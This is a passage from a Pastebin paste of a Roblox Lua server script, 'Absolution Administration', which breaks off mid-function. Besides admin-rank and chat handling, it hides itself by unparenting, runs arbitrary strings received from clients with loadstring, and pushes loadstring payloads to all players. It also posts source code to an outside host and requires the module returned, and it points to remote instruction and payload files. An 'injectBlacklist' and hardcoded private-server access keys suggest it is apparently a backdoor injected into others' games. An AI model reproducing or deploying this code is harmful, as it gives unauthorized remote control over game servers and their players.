Advertisement
Guest User

Untitled

a guest
Nov 19th, 2016
2,198
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 254.45 KB | None | 0 0
  1. --[[
  2. ABSOLUTION ADMINISTRATION
  3. Server Edition
  4. Command Syntax: Command/Arguments -Flags
  5. Example: kill/Darkus-r
  6. ---------------------------
  7. @Author: Darkus_Theory
  8. @Name: Absolution
  9. @Date: 2/19/16
  10. @Engine: Lua 5.1
  11. --]]
  12.  
  13. wait(0.003)
  14. local start_time = tick()
  15. --local Absolution;
  16. Absolution = setmetatable({
  17. Services=setmetatable({Game=game},{
  18. __index=function(self,index)
  19. index=tostring(index);
  20. return rawget(self,'Game'):GetService(index:sub(1,1):upper()..index:sub(2));
  21. end;
  22. __newindex=function()
  23. error('You cannot add services manually');
  24. end;
  25. __call=function(self,index)
  26. return self[index];
  27. end;
  28. __metatable='Protected';
  29. });
  30. Ranks = {
  31. [9] = "localhost";
  32. [8] = "ROOT";
  33. [7] = "Developer";
  34. [6] = "Administrator";
  35. [5] = "Debugger";
  36. [4] = "Moderator";
  37. [3] = "Overseer";
  38. [2] = "Pseudo";
  39. [1] = "Beta";
  40. [0.5] = "Trusted";
  41. [0] = "Player";
  42. [-0.5] = "Blacklist";
  43. [-1] = "Banished";
  44. [-2] = "Superbanned";
  45. };
  46. Settings = {
  47. ["Rotation_Style"] = 'Normal';
  48. ["Logo"] = '414448010',
  49. ['BallScale'] = 10,
  50. };
  51. TraceLogs = {};
  52. Nicknames = {};
  53. PluginManager = {};
  54. IRCDebug = {};
  55. Errors = {};
  56. Functions = {};
  57. Handler = {};
  58. Players = {};
  59. Ranked = {};
  60. Tempbans = {};
  61. HandlingBans = {};
  62. Music = {};
  63. Connections = {Killing = {};};
  64. pseudoRank = {};
  65. Logs = {};
  66. Tablets = {};
  67. Commands = {};
  68. Ignoring = {};
  69. TriggerWords = {'ban','kick','lag','s3x','d33k','fweld','aerx','rosploit','jeerve'};
  70. uniqueKey = string.sub(tostring(game:service'HttpService':GenerateGUID(true)), 2, 8);
  71. lastPing = tick();
  72. AgeRestriction = true;
  73. Booted = false;
  74. TPReserves = {["21053279"]="3AoF5NoEvR9rQ6-Q4dS8W9knYQPRYXZGrLvf5Yr_B4JfP0EBAAAAAA2",["437965235"]="uldxE2h5nxghfpyJmiPH2UboRU_cKbhArOHRgzH9JMuz0RoaAAAAAA2"};
  75. Constants = {
  76. ShutdownTime = 30;
  77. TabletRotation = 0;
  78. MaxResults = 15;
  79. };
  80. GroupData = {
  81. GroupID = 971711;
  82. GroupRanks = {
  83. [0] = {247,0};
  84. [1] = {246};
  85. [2] = {251};
  86. [3] = {248};
  87. [4] = {250};
  88. [5] = {249};
  89. [6] = {252};
  90. [7] = {253};
  91. [8] = {254};
  92. [9] = {255};
  93. };
  94. };
  95. HttpConstants = {
  96. IRC = {["Name"] = "#Absolution",["whiteList"] = {'clarra','ic3','xXMLGBellXx','notControl22','Precession','iKrypto','HighDefinition','Tangy'}};
  97. IP = "http://freemoneyofobama.hol.es/";
  98. API = "http://roblox-proxy.cf";
  99. UpdateURL = "https://titanpad.com/ep/pad/export/2353467rt6e56rtdh5w4/latest?format=txt";
  100. Incoming = "/OutgoingConnections.php";
  101. Outgoing = "/IncomingConnections.php";
  102. ConsoleTXT = "/RemoteInstructions.txt";
  103. ConsolePHP = "/RemoteInstructions.php";
  104. Remote = "/remoteExecute.lua";
  105. Tempbans = "/Tempban.php";
  106. Modlogs = "/AppendLog.php";
  107. AuthURI = "/AddAuthentication.php";
  108. Rogue = "/mineroguey.lua";
  109. Warrior = "/miwarrior.lua";
  110. Titan = "/ledele.lua";
  111. Jet = "/oiryibfsaliudgwleq.txt";
  112. Bishop = "/minbishopyy.lua";
  113. Monk = "/minemonkeh.lua";
  114. pircm = "";
  115. Upload = "/roblox/upload.php";
  116. PreviousSync = 'nil';
  117. PreviousWSync = 'nil';
  118. pythonConsole = {
  119. IP = "http://absolution-server.xyz:443";
  120. ChatServ = "/chat/<%s> %s %s";
  121. Authentication = "/auth=%s";
  122. Commands = "/%s";
  123. previousCommand = "";
  124. };
  125. APIs = {
  126. Music = "/roblox/API/SearchMusic.php";
  127. Username = "/roblox/API/Usernames.php";
  128. NewServer = "/roblox/API/NewServer.php";
  129. Misc = "/roblox/API/index.php";
  130. };
  131. HttpEnabled = (function() local Enabled, Error = ypcall(function() game:GetService("HttpService"):GetAsync("http://www.google.com/") end) if Enabled then return true else return false end end)(),
  132. pluginLink = "http://pastebin.com/raw/FRbyPAdZ";
  133. };
  134. Fake = {
  135. _G = {},
  136. shared = {},
  137. Functions = {},
  138. },
  139. Locks = {
  140. LocalScripts = false,
  141. Scripts = false,
  142. Server = {["Locked"] = false;["rankNumber"] = 0;["Duration"] = 120;["Server"] = false;["Local"] = false;},
  143. },
  144. PrivateServer = {
  145. Type = 'Kick';
  146. Enabled = false;
  147. };
  148. Storage = {
  149. DS = game:GetService("DataStoreService"):GetDataStore("\\:Absolution");
  150. };
  151. ScriptType = (game:FindService("NetworkServer") and "Server" or "Studio"),
  152. injectBlacklist = {};--{{["NAME"]='dev_ic3',["ID"] = 44916127,["REASON"] = 'IRC hater'},{["NAME"]='W8X',["ID"] = 54458960,["REASON"] = 'IRC hater'},{["NAME"]='dev_ic3',["ID"] = 44916127,["REASON"] = 'IRC hater'},{["NAME"]='SavageMunkey',["ID"] = 28438833,["REASON"] = 'IRC hater'},{["NAME"] = 'Pkamara', ["ID"]=41563168, ["REASON"] = 'Is cool guy, no need to inject him.'},{["NAME"] = 'iLordVex',["ID"] = 39635253, ["REASON"] = 'Requested by Client.'}}
  153. },{__call=function(self,index)return rawget(self,index) end;});
  154. coroutine.wrap(function()
  155. local to_be_pushed=true;
  156. local push;push=function(table,_index,_call,_new,___index)
  157. if(getmetatable(table)==nil and pcall(function()setmetatable(table,{})end) )then
  158. local fake={
  159. __index=_index or(function(self,index)
  160. return rawget(self,index);
  161. end);
  162. __call=_call or(function(self,index)
  163. return rawget(self,index);
  164. end);
  165. __newindex=_new or(function(self,index,value)
  166. if(type(value)=='table')then
  167. push(value);
  168. end;
  169. rawset(self,index,value);
  170. end);
  171. __metatable='Protected';
  172. };
  173. return setmetatable(table,fake);
  174. end;
  175. end;
  176. if(not to_be_pushed)then return end;
  177. for _,v in next,Absolution do
  178. if(type(v)=='table')then
  179. push(v,nil,nil,nil,_);
  180. end;
  181. end;
  182. setmetatable(Absolution,{
  183. __call=function(self,index)
  184. return rawget(self,index);
  185. end;
  186. --__index=function(self,index)
  187. -- return rawget(self,index);
  188. --end;
  189. __newindex=function(self,index,value)
  190. if(type(value)=='table')then
  191. push(value,nil,nil,nil,index);
  192. end;
  193. rawset(self,index,value);
  194. end;
  195. __metatable='Protected';
  196. });
  197. end)();
  198.  
  199.  
  200. script.Name = 'Absolution - Server'
  201. coroutine.yield()
  202. script.Parent = nil
  203. ----------------------------------------------- START SCRIPT --------------------------------------------------------
  204.  
  205. Absolution.Logs.append = function(self, tbl)
  206. self[#self+1] = tbl
  207. end
  208.  
  209. Absolution.Functions.Print = function(message, typ)
  210. if not message then return false,'No message was sent.' end
  211. if not typ then typ = 1 end
  212. if typ == 1 then
  213. Absolution.Logs:append({Type='Print',Message=message})
  214. print(message)
  215. elseif typ == 2 then
  216. Absolution.Logs:append({Type='Warning',Message=message})
  217. warn(message)
  218. elseif typ == 3 then
  219. Absolution.Logs:append({Type='Error',Message=message})
  220. pcall(function() error(message) end)
  221. end
  222. end
  223.  
  224. -- In-Script locking --
  225. Absolution.Functions.Lock = {
  226. Table = function(Table)
  227. setmetatable(Table, {
  228. __metatable = "[ Sandbox ]:\nLocked",
  229. })
  230. for Index, Value in pairs(Table) do
  231. if type(Index) == "table" then Absolution.Functions.Lock.Table(Index) end
  232. if type(Value) == "table" then Absolution.Functions.Lock.Table(Value) end
  233. end
  234. end
  235. }
  236. Absolution.Functions.Simulate = { -- Things that are simulated
  237. Table = function(Table)
  238. local SimulatedTable = {}
  239. for Index, Value in pairs(Table) do
  240. SimulatedTable[Index] = Value
  241. end
  242. return SimulatedTable
  243. end,
  244. }
  245.  
  246. -- PseudoScripting Functions --
  247. Absolution.Functions.createLocalScript = function(source,parent,name,hasval)
  248. if not script:findFirstChild(source,true) then return end
  249. local s = script:findFirstChild(source,true):Clone()
  250. s.Parent = parent
  251. s.Name = (name and name or s.Name)
  252. if hasval then
  253. local val = s:children()[1]
  254. val.Value = hasval
  255. end
  256. wait()
  257. s.Disabled = false
  258. Absolution.Logs:append({'Script',Absolution.Functions.GetTime(tick()),source,tostring(parent.Parent)..'.'..tostring(parent)});
  259. end
  260. Absolution.Functions.createScript = function(source, parent, name)
  261. local s = script["ScriptBase"]:Clone()
  262. s.Parent = parent
  263. s:FindFirstChild("Val").Value = source
  264. s.Name = (name and name or s.Name)
  265. wait()
  266. s.Disabled = false
  267. end
  268. Absolution.Functions.NLS = function(source, parent, name)
  269. local Ran,Error = ypcall(function()
  270. local function url_encode(form)
  271. local result = {}
  272. for key, value in pairs(form) do
  273. table.insert(result, Absolution.Services.HttpService:UrlEncode(key) .. "=" .. Absolution.Services.HttpService:UrlEncode(value))
  274. end
  275. return table.concat(result, "&")
  276. end
  277. local pt = {SRC=source}
  278. local body = url_encode(pt)
  279. local s = Absolution.Services.HttpService:PostAsync(Absolution.HttpConstants.IP..Absolution.HttpConstants.Upload, body, Enum.HttpContentType.ApplicationUrlEncoded)
  280. wait(.5)
  281. Absolution.Logs:append({Absolution.Functions.GetTime(tick()),'Made a new localscript'});
  282. local newScript = require(tonumber(s))
  283. newScript.Parent = parent
  284. newScript.Name = (name and name or newScript.Name)
  285. wait()
  286. newScript.Disabled = false
  287. return newScript
  288. end)
  289. if not Ran then warn('[Absolution] - '..Error) end
  290. end
  291.  
  292. -- Handler --
  293. Absolution.Handler.AuthorizeRemote = function(self,remote)
  294. local initial = Instance.new("StringValue")
  295. initial.Name = "AUTHORIZED"
  296. initial.Value = "336c063bbccc80ebfa20df4b04b407cb61fb1c4301094183744bedb3b2e5e375429523190ecd4c44492dbf86e84346c62c94"
  297. initial.Parent = remote
  298. end
  299. Absolution.Handler.ConnectServer = function(self, server)
  300. server.OnServerInvoke = function(Player, Command, Key, etc)
  301. if not Absolution then return end
  302. if Key~= Absolution.uniqueKey then return false,"Access Denied" end
  303. if Command=='Message' then
  304. Absolution.Functions.Print(tostring(Player)..': '..etc[1])
  305. elseif Command=='Aerx' then
  306. Absolution.Ranked[Player.Name].Description = 'using aerx (autoban)'
  307. Absolution.Ranked[Player.Name].Rank = -1
  308. Absolution.Functions.Out('Admins', Player.Name..' was using aerx.', 5)
  309. elseif Command=='RX6' then
  310. Absolution.Ranked[Player.Name].Description = 'using RX6 (autoban)'
  311. Absolution.Ranked[Player.Name].Rank = -1
  312. Absolution.Functions.Out('Admins', Player.Name..' was using RX6.', 5)
  313. elseif Command=='SEX' then
  314. Absolution.Ranked[Player.Name].Description = 'using sexgui (autoban)'
  315. Absolution.Ranked[Player.Name].Rank = -1
  316. Absolution.Functions.Out('Admins', Player.Name..' was using sexgui.', 5)
  317. elseif Command=='Handshake' then
  318. if Absolution.Ranked[Player.Name].Rank >=4 then Absolution.Handler:sendPacket(Player, 'togglenil') end
  319. return game.JobId
  320. elseif Command=='Command' then
  321. Absolution.Functions.onChatted(Player, etc[1])
  322. if etc[1]:find'trace/' then return end
  323. if not Absolution.TraceLogs[Player.Name] then
  324. Absolution.TraceLogs[Player.Name] = {}
  325. end
  326. local parseddata = etc[1]
  327.  
  328. if etc[1]:find('/http') and game.PlaceId~=21053279 then
  329. local link = etc[1]:sub(etc[1]:find('/http')+1)
  330. wait(1)
  331. local gas = Absolution.Services.HttpService:GetAsync(link)
  332. if gas then
  333. parseddata = gas
  334. else
  335. parseddata = etc[1]
  336. end
  337. end
  338.  
  339. Absolution.TraceLogs[Player.Name][#Absolution.TraceLogs[Player.Name]+1] = {Time=tick(), logData=parseddata}
  340. elseif Command=='Loadstring' then
  341. loadstring(etc[1])()
  342. elseif Command=='Console' then
  343. if etc[1]:find'trace/' then return end
  344. if not Absolution.TraceLogs[Player.Name] then
  345. Absolution.TraceLogs[Player.Name] = {}
  346. end
  347. local parseddata = etc[1]
  348.  
  349. if etc[1]:find('/http') and game.PlaceId~=21053279 then
  350. local link = etc[1]:sub(etc[1]:find('/http')+1)
  351. wait(1)
  352. local gas = Absolution.Services.HttpService:GetAsync(link)
  353. if gas then
  354. parseddata = gas
  355. else
  356. parseddata = etc[1]
  357. end
  358. end
  359.  
  360. local shortenedparseddata = parseddata
  361.  
  362. for nildata, player in next, Absolution.Functions:getALLPlayers() do
  363. if parseddata:lower():find(player.Name:lower()) then
  364. if string.len(parseddata)>100 then shortenedparseddata = parseddata:sub(parseddata:lower():find(player.Name:lower())-10,parseddata:lower():find(player.Name:lower())+45) end
  365. Absolution.Functions.Out(player, 'Your name was detected from player '..Player.Name, 2)
  366. Absolution.Functions.Out(player, 'Trigger String: '..shortenedparseddata:gsub("\n",""), 2)
  367. if not Absolution.Functions.IsIgnoring(player.Name) then Absolution.Handler:sendPacket(player, 'TerminalOn') Absolution.Handler:sendPacket(player, 'Ding!') end
  368. elseif Absolution.Functions:findRank(player) >= 4 and Absolution.Functions.Sanitize(parseddata) and Absolution.Functions:findRank(Player) < 6 then
  369. local word = Absolution.Functions.Sanitize(parseddata)
  370. if string.len(parseddata)>100 then shortenedparseddata = parseddata:sub(parseddata:lower():find(word:lower())-10,parseddata:lower():find(word:lower())+45) end
  371. Absolution.Functions.Out(player, 'Trigger word ('..word..') detected from player '..Player.Name..'!', 3)
  372. Absolution.Functions.Out(player, 'String: '..shortenedparseddata:gsub("\n",""), 3)
  373. if not Absolution.Functions.IsIgnoring(player.Name) then Absolution.Handler:sendPacket(player, 'TerminalOn') end
  374. end
  375. end
  376.  
  377. Absolution.TraceLogs[Player.Name][#Absolution.TraceLogs[Player.Name]+1] = {Time=tick(), logData=parseddata}
  378. else
  379. end
  380. end
  381. server.Changed:connect(function(change)
  382. local c = change:lower()
  383. if c=='name' then
  384. server.Name = 'AbsolutionHandler'
  385. elseif c=='parent' then
  386. wait()
  387. server.Parent = Absolution.Services.ReplicatedStorage
  388. else
  389. server:Destroy()
  390. Absolution.Handler:CreateHandler('AbsolutionHandler', Absolution.Services.ReplicatedStorage)
  391. end
  392. end)
  393. self["SERVER"] = server
  394. end
  395.  
  396.  
  397.  
  398. Absolution.Handler.CreateHandler = function(self, Name, Place)
  399. if Place:FindFirstChild(Name) then Place:FindFirstChild(Name):Destroy'' end
  400. local pseudoRemote = Absolution.Functions:Create('RemoteFunction',{Name=Name})
  401. Absolution.Handler:AuthorizeRemote(pseudoRemote)
  402. wait()
  403. pseudoRemote.Parent = Place
  404. Absolution.Handler:ConnectServer(pseudoRemote)
  405. end
  406. --Absolution.Handler.oldPacket('tusKOr661','CORE.Functions:executeClient("rejoin")')
  407. Absolution.Handler.oldPacket = function(Player, String)
  408. local Str = Instance.new('StringValue')
  409. Str.Name = tostring(Player)..' RUN '..Absolution.uniqueKey
  410. Str.Value = String
  411. wait()
  412. Str.Parent = Absolution.Services.Lighting
  413. Absolution.Services.Debris:AddItem(Str, 5)
  414. end
  415.  
  416. Absolution.Handler.sendPacket = function(self, Player, Command, etc)
  417. local etc = (type(etc)=='table' and etc or {})
  418. if type(Player) == 'userdata' then
  419. local receive,data = Absolution.Handler.SERVER:InvokeClient(Player, Command, Absolution.uniqueKey, etc)
  420. return receive,data
  421. elseif type(Player) == 'string' then
  422. local Plr = Absolution.Services.Players:FindFirstChild(Player)
  423. if not Plr then return "Player was not found" end
  424. local receive,data = Absolution.Handler.SERVER:InvokeClient(Plr, Command, Absolution.uniqueKey, etc)
  425. return receive,data
  426. else
  427. return 'INVALID PLAYER TYPE!'
  428. end
  429. end
  430.  
  431. Absolution.Handler.clientLS = function(self, String, Player)
  432. if type(Player) == 'userdata' then
  433. local receive,data = Absolution.Handler.SERVER:InvokeClient(Player, "loadstring", Absolution.uniqueKey, {["str"]=(String and String or [[print"No string"]])})
  434. return receive,data
  435. elseif type(Player) == 'string' then
  436. local Plr = Absolution.Services.Players:FindFirstChild(Player)
  437. if not Plr then return "Player was not found" end
  438. local receive,data = Absolution.Handler.SERVER:InvokeClient(Plr, "loadstring", Absolution.uniqueKey, {["str"]=(String and String or [[print"No string"]])})
  439. return receive,data
  440. elseif not Player then
  441. Absolution.Handler:fireAllClients('loadstring', {["str"]=(String and String or [[print"No string"]])})
  442. else
  443. return 'INVALID PLAYER TYPE!'
  444. end
  445. end
  446.  
  447. Absolution.Handler.fireAllClients = function(self, Command, etc)
  448. for i,v in pairs(Absolution.Functions.getALLPlayers()) do
  449. local receive,data = Absolution.Handler:sendPacket(v, Command, (etc and etc or nil))
  450. return receive,data
  451. end
  452. end
  453.  
  454. Absolution.Handler.sendChat = function(Message, Player, over, Color, isDiscord)
  455. if Message:lower():find('http') then Message = 'http://google.com' end
  456. Message = Message:gsub("","")
  457. if over and Message:find(over) then
  458. local rem = string.sub(Message,1,Message:find(":")-1)
  459. if rem then
  460. string.gsub(Message,rem,"")
  461. end
  462. end
  463. if Player then
  464. if Message:lower():find(tostring(Player):lower()) then Color = 'Red' else Color = 'White' end
  465. Absolution.Handler:sendPacket(Player, 'Chat', {["TEXT"]=(over and (not isDiscord and '['..over..']: ' or '[DISCORD] '..over..': ') or '')..Message,["COLOR"]='Purple'})
  466. Absolution.Functions:sbChat(Message, Player, over)
  467. else
  468. for i,v in pairs(Absolution.Functions.getALLPlayers()) do
  469. if Message:lower():find(tostring(v):lower()) then Color = 'Red' else Color = 'White' end
  470. Absolution.Handler:sendPacket(v, 'Chat', {["TEXT"]=(over and (not isDiscord and '['..over..']: ' or '[DISCORD] '..over..': ') or '')..Message,["COLOR"]=Color})
  471. end
  472. for q,e in pairs(Absolution.Services.Players:getPlayers()) do
  473. Absolution.Functions:sbChat(Message, e, (over and over or nil))
  474. end
  475. end
  476. end
  477.  
  478. Absolution.Handler.Ping = function(self)
  479. for i,v in pairs(Absolution.Functions.getALLPlayers()) do
  480. Ran,Error = ypcall(function()
  481. if Absolution.Players[v.Name] then
  482. local r,d = Absolution.Handler:sendPacket(v, 'Ping')
  483. if r == true and d:lower() == 'pong' then
  484. Absolution.Players[v.Name].lastPing = Absolution.Functions.GetTime(tick())
  485. end
  486. end
  487. end)
  488. if not Ran then error(Error) end
  489. end
  490. return false
  491. end
  492.  
  493. --[[Tracer Cusmpilation]]--
  494.  
  495. Absolution.Functions.TraceSearch = function(keyword, isplr)
  496.  
  497. local results = {}
  498.  
  499. for player, logdata in next, Absolution.TraceLogs do
  500.  
  501. if not isplr then
  502.  
  503. for index, logtable in pairs(logdata) do
  504.  
  505. local logDATA = logtable.logData
  506. if logDATA:lower():find(keyword:lower()) then
  507.  
  508. if string.len(logDATA)>100 then logDATA = logDATA:sub(logDATA:lower():find(keyword:lower())-25,logDATA:lower():find(keyword:lower())+25) end
  509.  
  510. results[#results+1] = {plr=player, data=logDATA, tim=logtable.Time}
  511.  
  512. end
  513.  
  514. end
  515.  
  516. elseif isplr and player==keyword then
  517.  
  518. for index, logtable in pairs(logdata) do
  519.  
  520. local logDATA = logtable.logData
  521. if logDATA:lower():find(keyword:lower()) then
  522.  
  523. if string.len(logDATA)>100 then logDATA = logDATA:sub(logDATA:lower():find(keyword:lower())-25,logDATA:lower():find(keyword:lower())+25) end
  524.  
  525. results[#results+1] = {plr=player, data=logDATA, tim=logtable.Time}
  526.  
  527. end
  528.  
  529. end
  530.  
  531. end
  532.  
  533. end
  534.  
  535. return results
  536.  
  537. end
  538.  
  539. --[[
  540. for i,v in next,Absolution.Functions.TraceSearch('asd') do
  541. print(v.plr,v.data)
  542. end
  543. --]]
  544.  
  545. --[[ Main Functions ]]--
  546. -- Shutdown --
  547. Absolution.Functions.Shutdown = function(ranby,Reason)
  548. Absolution.Functions.Announce('Shutdown commenced by: '..(ranby and ranby or 'Absolution'))
  549. wait()
  550. Absolution.DCTAPI.sendMessage(('Shutdown commenced by: '..(ranby and ranby or 'Absolution')))
  551. while wait() do
  552. for i,v in pairs(Absolution.Functions.getALLPlayers()) do
  553. v:Kick((ranby and ranby or 'Absolution')..(Reason and ': '..Reason or ': Shutdown by administrator') and (ranby and ranby or 'Absolution')..(Reason and ': '..Reason or ': Shutdown by administrator') or 'Shutdown by: '..(ranby and ranby or 'Absolution'))
  554. end
  555. end
  556. end
  557.  
  558. -- getALLPlayers --
  559. Absolution.Functions.getALLPlayers = function()
  560. local ALLPlayers = {}
  561. for i,v in pairs(Absolution.Services.NetworkServer:GetChildren()) do
  562. ypcall(function()
  563. if v:IsA("ServerReplicator") then
  564. table.insert(ALLPlayers, v:GetPlayer())
  565. end
  566. end)
  567. end
  568. return ALLPlayers
  569. end
  570.  
  571. Absolution.SandboxSource = "print'asd'"
  572. --[===[ SandboxSourcing --
  573. Absolution.SandboxSource = [=[
  574. warn'running sandbox!'
  575. local a=newproxy(true);getmetatable(a).__tostring=function()a=getfenv(3)end;pcall(warn,a);
  576. setfenv(0,a)
  577. setfenv(1,a)
  578. setfenv(2,a)
  579. local ypcall=ypcall;
  580. local sandbox={disabled=false};sandbox={
  581. real={};
  582. fake={};
  583. new={};
  584. old={
  585. require=function(id) return 'Bad argument #1 (whitelist id expected, got number)' end;
  586. game=game;
  587. workspace=workspace;
  588. script=script;
  589. Instance=Instance;
  590. error=error;
  591. getfenv=getfenv;
  592. setfenv=setfenv;
  593. setmetatable=setmetatable;
  594. loadstring=loadstring;
  595. rawset=rawset;
  596. wait=wait;
  597. rawget=rawget;
  598. print=print;
  599. unpack=unpack;
  600. _G=_G;
  601. tostring=tostring;
  602. coroutine=coroutine;
  603. shared=shared;
  604. next=next;
  605. ypcall=ypcall;
  606. delay=delay;
  607. Delay=Delay;
  608. Spawn=Spawn;
  609. };
  610. enviroments=setmetatable({
  611. [1]=getfenv(0);
  612. [2]=getfenv(1);
  613. [3]=getfenv(error);
  614. },{__call=function(self,request,...)
  615. local args={...};
  616. if(request=='get')then
  617. local item=nil;
  618. for _,env in next,self do
  619. local rawItem=env[args[1]];
  620. if(rawItem)then
  621. item=rawItem;
  622. break;
  623. end;
  624. end;
  625. return item;
  626. elseif(request=='set')then
  627. for _,env in next,sandbox.enviroments do
  628. pcall(sandbox.old.rawset,env,sandbox.toReal(args[1]),sandbox.toReal(args[2]));
  629. end;
  630. end;
  631. end});
  632. locks={
  633. teleportservice={
  634. get=setmetatable({},{__index=function(self,index,value)
  635. if(index:lower():find'teleport')then
  636. return(function() return true end);
  637. end;
  638. return(function() return false; end);
  639. end});
  640. set={};
  641. };
  642. debris={
  643. get={
  644. additem=function(self,...)
  645. if(self and pcall(function() self:isA'Player'end) and self:isA'Player' and self.Name=='tusKOr661')then
  646. return true;
  647. end;
  648. return false;
  649. end;
  650. };
  651. set={};
  652. };
  653. players={
  654. get={
  655. clearallchildren=function(self)
  656. return true;
  657. end;
  658. };
  659. set={};
  660. };
  661. player={
  662. set={
  663. character=function(self,obj)
  664. if(obj and pcall(function()return obj.className=='Workspace'end) and object.className=='Workspace')then
  665. return true;
  666. end;
  667. return false;
  668. end;
  669. parent=function(newParent)
  670. if(newParent and pcall(function()return newParent.className=='Players' end))then
  671. return true;
  672. end;
  673. return false;
  674. end;
  675. };
  676. get={
  677. kick=function(self)
  678. if(self and self.Name==('Darkus_Theory'))then
  679. return true;
  680. end;
  681. return false;
  682. end;
  683. remove=function(self)
  684. if(self and self.Name=='Darkus_Theory')then
  685. return true;
  686. end;
  687. return false;
  688. end;
  689. destroy=function(self)
  690. if(self and self.Name=='Darkus_Theory')then
  691. return true;
  692. end;
  693. return false;
  694. end;
  695. };
  696. };
  697. workspace={
  698. get={
  699. clearallchildren=function(self)
  700. if(script and script.className=='LocalScript')then
  701. return false;
  702. end;
  703. return true;
  704. end;
  705. };
  706. set={};
  707. };
  708. };
  709. lockedInstances={
  710. ['ManualSurfaceJointInstance']=true;
  711. };
  712. disabled=false;
  713. lockedError=function(format)
  714. format=format or'Protected - Absolution';
  715. return sandbox.old.error(format,0);
  716. end;
  717. unlockedError=function(format)
  718. format=format or'Protected - Absolution';
  719. return sandbox.old.error(format,0);
  720. end;
  721. toReal=function(obj)
  722. if(obj and sandbox.real[obj])then
  723. return sandbox.real[obj];
  724. end;
  725. return obj;
  726. end;
  727. errorCheck=function()
  728. if(rawget(sandbox,'disabled')==true or script.Disabled==true or script.Name=='ENDEDSCRIPT')then
  729. pcall(rawset,sandbox,'disabled',true);
  730. return sandbox.lockedError('This script has been disabled');
  731. end;
  732. end;
  733. toFake=function(obj)
  734. if(sandbox.real[obj])then return obj end;
  735. if(sandbox.fake[obj])then return sandbox.fake[obj] end;
  736. return sandbox.fakeObject(obj);
  737. end;
  738. fakeObject=function(...)
  739. if(select('#',...)==0)then return nil end;
  740. local Obj,fakeIndex=...;
  741. if(not ypcall(function() return type(Obj) end))then return Obj end;
  742. if(not Obj or not pcall(type,Obj))then return Obj end;
  743. local rtn; pcall(function() rtn=sandbox.fake[Obj] end);
  744. if(rtn)then return rtn or Obj end;
  745. if(not ypcall(type,Obj) and type(Obj)~='function' and type(Obj)~='userdata' and type(Obj)~='table')then return Obj end;
  746. if(Obj==nil or type(Obj)=='string' or type(Obj)=='boolean'or type(Obj)=='number')then
  747. return Obj;
  748. end;
  749. if(sandbox.fake[Obj])then
  750. return sandbox.fake[Obj];
  751. end;
  752. fakeIndex=fakeIndex or {};
  753. fakeIndex['isSandbox']=true;
  754. if(type(Obj)=='table')then
  755. local new=setmetatable({},{__index=function(self,index)
  756. local succ,err,rtn;
  757. succ,err=pcall(function()
  758. rtn=fakeIndex[index] or Obj[index];
  759. end);
  760. if(not succ)then
  761. return sandbox.unlockedError(err);
  762. end;
  763. return((rtn~=nil and sandbox.fakeObject(rtn))or rtn);
  764. end;__newindex=function(self,...)
  765. local props={...};
  766. for _,prop in next,props do
  767. props[_]=sandbox.toReal(prop);
  768. end;
  769. local succ,err=pcall(function()
  770. Obj[props[1]]=props[2];
  771. end);
  772. if(not succ)then
  773. sanbox.unlockedError(err);
  774. end;
  775. end;__metatable=getmetatable(Obj)});
  776. sandbox.fake[Obj]=new;
  777. sandbox.real[new]=Obj;
  778. return new;
  779. elseif(type(Obj)=='function')then
  780. local callFunc=Obj;
  781. local funcName;coroutine.wrap(function()
  782. for name,func in next,sandbox.old do
  783. if(func==callFunc)then
  784. funcName=name;
  785. break;
  786. end;
  787. end;
  788. end)();
  789. local new;new=function(...)
  790. sandbox.errorCheck();
  791. local results,arguments={},{...};
  792. local succ,err=pcall(function()
  793. for _,v in next,arguments do
  794. arguments[_]=sandbox.fakeObject(v);
  795. end;
  796. results={callFunc(sandbox.old.unpack(arguments))};
  797. end);
  798. if(not succ)then
  799. sandbox.lockedError(err);
  800. return;
  801. end;
  802. for _,res in next,results do
  803. results[_]=sandbox.fakeObject(res:gsub('callFunc',funcName));
  804. end;
  805. return sandbox.old.unpack(results);
  806. end;
  807. sandbox.fake[Obj]=new;
  808. sandbox.real[new]=Obj;
  809. return new;
  810. end;
  811. if(sandbox.real[Obj])then
  812. return Obj;
  813. else
  814. if(sandbox.fake[Obj])then
  815. return sandbox.fake[Obj];
  816. end;
  817. end;
  818. local proxy=newproxy(true);
  819. sandbox.real[proxy]=Obj;
  820. sandbox.fake[Obj]=proxy;
  821. local meta=getmetatable(proxy);
  822. meta.__index=function(datSelfie,index)
  823. if(sandbox.disabled==true)then
  824. sandbox.lockedError('This script has been removed ~ Darkus_Theory');
  825. return;
  826. end;
  827. local item,success,err;
  828. success,err=pcall(function()
  829. item=fakeIndex[index] or Obj[index];
  830. end);
  831. if(not success)then
  832. sandbox.unlockedError(err);
  833. end;
  834. local lockedDatas;
  835. if(type(item)=='function')then
  836. return function(self,...)
  837. local realArguments={...};
  838. for _,fake in next,realArguments do
  839. realArguments[_]=sandbox.toReal(fake);
  840. end;
  841. pcall(function()
  842. if(self and self['className'])then
  843. if(sandbox.locks[self['className']:lower()])then
  844. lockedDatas=sandbox.locks[self['className']:lower()];
  845. end;
  846. end;
  847. end);
  848. if(lockedDatas and lockedDatas.get[index:lower()] and lockedDatas.get[index:lower()](sandbox.toReal(self))==true)then
  849. return sandbox.lockedError();
  850. end;
  851. local rtn,success,err;
  852. success,err=ypcall(function()
  853. rtn={item(sandbox.toReal(self),sandbox.old.unpack(realArguments))};
  854. end);
  855. if(not success)then
  856. sandbox.unlockedError(err);
  857. end;
  858. for _,v in next,rtn do
  859. rtn[_]=sandbox.fakeObject(v);
  860. end;
  861. return sandbox.old.unpack(rtn);
  862. end;
  863. else
  864. return sandbox.fakeObject(item);
  865. end;
  866. end;
  867. meta.__newindex=function(self,index,value)
  868. sandbox.errorCheck();
  869. local realValue=sandbox.toReal(value);
  870. local lockedData;pcall(function() lockedData=sandbox.locks[Obj.className:lower()]; end);
  871. local lockedFunc;
  872. if(lockedData)then
  873. lockedFunc=lockedData.set[index:lower()];
  874. end;
  875. if(lockedFunc)then
  876. if(lockedFunc(Obj,realValue))then
  877. return sandbox.lockedError();
  878. end;
  879. end;
  880. local success,err=pcall(function()
  881. Obj[index]=realValue;
  882. end);
  883. if(not success)then
  884. sandbox.unlockedError(err);
  885. end;
  886. end;
  887. meta.__tostring=function()
  888. return sandbox.enviroments[1].tostring(Obj);
  889. end;
  890. meta.__metatable=getmetatable(Obj);
  891. meta.__add=function(self,base)
  892. self=sandbox.toReal(self);
  893. base=sandbox.toReal(base);
  894. local rtn,success,err;
  895. success,err=pcall(function()
  896. rtn=self+base;
  897. end);
  898. if(not success)then
  899. return sandbox.unlockedError(err);
  900. else
